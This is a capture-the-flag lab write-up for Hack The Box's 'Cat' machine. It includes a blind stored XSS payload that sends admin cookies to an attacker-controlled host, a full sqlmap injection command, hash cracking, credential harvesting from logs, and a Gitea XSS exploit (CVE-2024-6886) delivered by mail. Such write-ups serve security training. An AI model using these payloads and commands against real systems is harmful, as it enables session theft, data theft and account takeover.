HTB - CAT (Linux/Medium)

Ports & Services Scanning

Command : sudo nmap 10.10.11.53 -sC -sV -v

Open ports: 22 (ssh) & 80 (http); Cannot proceed with port 22 now, as no credentials; So, moving forward with port 80, webserver eumeration.

Web Enumeration

Add cat.htb domain in /etc/hosts file to proceed

Directory & File Fuzzzing

Command: ffuf -w ~/Downloads/common.txt -u 'http://cat.htb/FUZZ' -c

Found exposed .git directory, even though accessing the directory is forbidden, the files are still readable. So, used git-dumper to dump it: https://github.com/arthaud/git-dumper

Source Code Analysis

Now, I have the source code. I can further analyze it to find any business log flaw or insecure coding practices.

After analyzing the source code, I understood the workflow of the application. Also, I got to know that the application uses SQLite database and the admin username is axel.

The registration process has no input validation in place, any input can be passed to it and it will be stored in the database.

Also, the admin fetched the username from the database and renders in its browser.

So, it is clear that it is vulnerable to Blind Stored XSS.

Blind Stored XSS Exploitation

I can use the XSS to hijack the admin session. Created a payload of this purpose: <script>fetch("http://<IP>:<port>/cookie="+document.cookie)</script>

For the XSS to execute, there is a few steps process found after analysing the source code:

  1. Create an account with payload as username

  2. Login to the account

  3. Start a simple server to capture the cookie (like python simple http server)

  4. Registered a new cat, without this admin will not open the view_cat.php and payload won't execute.

After getting the admin session, assessed it to searched for further attack vectors. There is a upload function so check if vulnerable to File Upload but not. Re-visiting the source code, found out that accept_cat.php has an INSERT statement, it seems to vulnerable to SQLi as user input is directly passed into the SQL query. Whereas, DELETE statement is not vulnerable as user input is passed as parameter and bindParam function is used that prevents SQLi.

SQLi Exploitation

After trying several commands via SQLMap, finally crafted a working command that helped me dump the tables. Among the tables, got a useful table: users

Command: sqlmap -u 'http://cat.htb/accept_cat.php' -X POST -H 'Cookie: PHPSESSID=m8ct8kgdcm8u8q1jlq1f6tirso' --data 'catName=aa&catId=1' -p catName --random-agent --parse-error --dbms=sqlite --level=5 --risk=3 --dump --batch --threads 10

Cracking the hashes using CrackStation got one plain text password. Then tried to SSH into that user with the credentials and succeeded.

This user has no flag, and not a sudo user as well, but it is in adm group which allows it to read log files. So, it is clear that there must be something in logs.

Lateral Movement

Started a simple python http server on my machine and downloaded linpeas in the target machine and executed it. After analysing the results, I found few files that grabbed my attention: /var/log/apache2/access.log, /var/log/apache2/error.log, /var/log/audit/audit.log

From the log file analysis, I found credential of another user, he used to log into the web appliaction. So, it is possible that he reused the password, it is worth to try if it works to log into the system with that password. It worked, the user has reused the password.

User Flag Retrived

Further Enumeration as current user

Again, the same process of downloading the linpeas and executing it. After analysing the result, there is nothing effective. But then eyes caught 2 mail files for this user: /var/mail/axel, /var/spool/mail/axel

Analyzing them, found out that there is a gitea service running locally at port 3000, verified by checking netstat -tulpn

Local Port Forwarding

To access the internal applicaiton via my machine, command: ssh -L 9999:localhost:3000 axel@cat.htb

To login to gitea, it was quite possible that the user again reused its password. The user indeed reused, and I got log into its gitea account: Enumerating it, did not found anything. Then I saw its version being exposed at the footer. Searched for vulnerabilities and got Stored XSS vulnerability (CVE-2024-6886) along with Steps to Reproduce: https://www.exploit-db.com/exploits/52077

CVE-2024-6886 Exploitation

Now the email makes sense, I have to send a mail to jobert@localhost and the XSS will be executed. So, I can try to steal the session again.

Now, I need a way to send mail to that user via CLI. I have no idea about it. Further reseaching, I found telnet can be used. I found port 587 open which is for SMPT but required authentication, and the auth format is not supported with telnet. So moved forward to find alternatives and then I found that even curl can be used. For authentication, tried current username and password but failed this time. So, further analysing I came to know that port 25 is also open, which I overlooked and got to know that it is also SMTP port.

Now, to reporduce:

  1. Create repo

  2. Create mail.txt with link in it

  3. Start python simple http server

  4. Send the mail curl --url "smtp://127.0.0.1:25" --mail-from "axel@cat.htb" --mail-rcpt "jobert@localhost" --upload-file mail.txt

I got no session cookie:

Analysing the cause, why I did not got the cookie. I found out that if HttpOnly is used then JS cannot capture the cookie. So, I need to find some other way.

After trial-and-error, I crafted another payload to read the README.md file specified in the mail:

After decoding the URL encoded data, I found:

# Employee Management

Site under construction. Authorized user: admin. No visibility or updates visible to employees.

This is not useful. After thinking, the mail says that they are developing an Employee Management System. So, its file structure would be same as the source code I got. So, this time, I tried to fetch the index.php page:

Decoding the URL encoded data I found admin credentials:

Now, it is possible that the root user might have used this password. So, tried to switch to root using this password and succeed.

Root Flag

What new I Learned?

  • Sending mail via CLI

  • Risk of password reuse

  • Source Code Analysis

Last updated